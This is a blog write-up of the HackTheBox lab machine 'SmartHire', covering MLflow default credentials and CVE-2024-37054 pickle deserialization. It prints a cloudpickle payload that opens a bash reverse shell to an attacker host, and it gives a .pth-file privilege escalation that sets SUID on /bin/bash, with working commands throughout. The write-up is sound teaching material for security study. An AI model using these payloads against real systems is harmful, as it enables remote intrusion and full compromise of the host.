Back to blog
← Back to posts

HTB: SmartHire

HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools

SmartHire is an MLOps box, and both halves punish trusting inputs you shouldn't. A vhost scan turns up a models. subdomain running MLflow 2.14.1 with the default admin:password. From there, CVE-2024-37054 weaponises MLflow's own model format: models are stored as Python pickles, so you register a model, overwrite its python_model.pkl with a malicious cloudpickle, and the moment the app runs a prediction the pickle deserialises and executes — a shell as svcweb. Root is a smaller, sharper trap: svcweb can sudo a root-run management script, and the plugins directory that script loads is group-writable. Drop a .pth file there and Python runs it as root at interpreter startup, before the script does anything at all.
vhost: models.smarthire.htb MLflow default creds CVE-2024-37054 pickle RCE svcweb sudo mlflowctl.py + writable plugins/dev .pth → root

Reconnaissance

SSH and an nginx front end. The web root redirects to smarthire.htb — a hiring-portal app — so the interesting surface is likely elsewhere on the vhost.

nmap
$ nmap -p- --min-rate 1600 -sVC -Pn --open <TARGET> 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 80/tcp open http nginx 1.18.0 (Ubuntu) (→ smarthire.htb)

Fuzz for vhosts. A models. subdomain shows up — and a quick look says it's MLflow, the model-registry/experiment-tracking server.

vhost fuzzing
$ ffuf -u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" \ -w subdomains-top1million-20000.txt -t 160 -fc 302 models [Status: 200] $ curl -s http://models.smarthire.htb/ -o /dev/null -w '%{http_code}\n' 401 # HTTP basic auth in front of MLflow

Foothold — MLflow default creds → CVE-2024-37054

The basic-auth prompt folds instantly to admin:password, and the API confirms MLflow 2.14.1. That version is vulnerable to CVE-2024-37054, a deserialization RCE. The root cause is structural: MLflow persists pyfunc models as Python pickles (python_model.pkl), and loading a model unpickles that file. Anyone who can write a model's artifacts can therefore choose what code runs when the model is loaded.

MLflow — default creds
$ curl -s -u admin:password \ 'http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search' 200 OK # authenticated to MLflow 2.14.1

The SmartHire app itself is the delivery vehicle. jimmexploit's PoC automates the whole loop: register an account on smarthire.htb, upload a CSV to train a model (which creates a registered model + run in MLflow), then PUT a malicious python_model.pkl over the trained one and hit the app's /predict so the poisoned model is loaded. The payload is a cloudpickle object whose __reduce__ returns os.system(<reverse shell>):

the payload (cloudpickle __reduce__)
cmd = "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" class Exploit: def __reduce__(self): return (os.system, (cmd,)) # runs on unpickle pkl = cloudpickle.dumps(Exploit()) # PUT as model/python_model.pkl
CVE-2024-37054 → shell
$ python3 shell.py --lhost <LHOST> --lport 4444 --atoz [+] Registration successful! [+] Login successful! [+] Model name: ...-model [+] run_id: 7ccc3540... [+] Payload size: 89 bytes [+] Upload successful! [*] Triggering /predict to execute payload... [*] Response: 500 {"message":"'int' object has no attribute 'load_context'"}
That 500 looks like a failure but it's the tell that it worked: the pickle is deserialised before MLflow tries to use it as a model, so os.system fires during unpickling and the reverse shell is already live — MLflow only errors afterwards, when it finds our object isn't a real model. Ignore the 500 and check your listener.

Shell as svcweb, and the user flag is right there. Worth noting the group memberships — they matter for root:

svcweb → user.txt
svcweb@smarthire:~$ id uid=1000(svcweb) gid=1000(svcweb) groups=1000(svcweb),1001(mlflowweb),1002(devs) svcweb@smarthire:~$ cat ~/user.txt [redacted — user flag]

Root — a .pth file in a writable plugins dir

sudo -l shows one rule, and it's a wildcard on a root-run Python script:

sudo -l
$ sudo -l User svcweb may run the following commands on smarthire: (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

The obvious move is argument injection through that *, but the cleaner path is the script's plugin loader. mlflowctl.py registers its plugin directory as a site directory (site.addsitedir('/opt/tools/mlflow_ctl/plugins/dev')), and — crucially — that directory is group-writable by devs, which svcweb is in:

the writable plugin dir
$ ls -la /opt/tools/mlflow_ctl/plugins/dev/ drwxrwxr-x 2 root devs 4096 .

Here's the trick. When Python processes a site directory, it reads every .pth file in it — and any line beginning with import is executed as code, at interpreter startup, before main() runs. So a one-line .pth dropped by svcweb runs as root the instant the sudo'd python3.10 starts up:

.pth hijack → SUID bash → root
$ echo 'import os; os.system("chmod +s /bin/bash")' \ > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth $ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status [+] MLflow service status: active # .pth already ran as root $ ls -l /bin/bash -rwsr-sr-x 1 root root 1396520 /bin/bash $ /bin/bash -p -c 'id; cat /root/root.txt' uid=1000(svcweb) euid=0(root) groups=0(root),1000(svcweb),... [redacted — root flag]
Two ingredients had to line up: a NOPASSWD sudo rule on an interpreter, and a plugin directory that trusts group members to write code into a root process. Either alone is survivable; together they're a one-line root. If a program must run privileged, nothing on its import/site path — plugins included — should be writable by a less-trusted group, and sudo should point at a fixed, locked-down entry point, never an interpreter with a wildcard.

Why it worked

→ svcwebMLflow exposed with default admin:password + models stored as pickles → CVE-2024-37054 deserialization RCE (CWE-502 / CWE-1188)
→ rootNOPASSWD sudo on python3.10 <script> whose site.addsitedir plugin dir is group-writable; Python executes .pth import lines at startup (CWE-426 / CWE-732)

Key commands

quick reference
# 1. recon → MLflow vhost ffuf -u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -w subdomains-20000.txt -fc 302 curl -su admin:password http://models.smarthire.htb/ajax-api/2.0/mlflow/registered-models/search # 2. CVE-2024-37054 pickle RCE → svcweb (user.txt) python3 shell.py --lhost <LHOST> --lport 4444 --atoz # register + train + poison + /predict nc -lvnp 4444 # catch the shell # 3. .pth path hijack → root (root.txt) echo 'import os; os.system("chmod +s /bin/bash")' > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status /bin/bash -p -c 'cat /root/root.txt'
HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools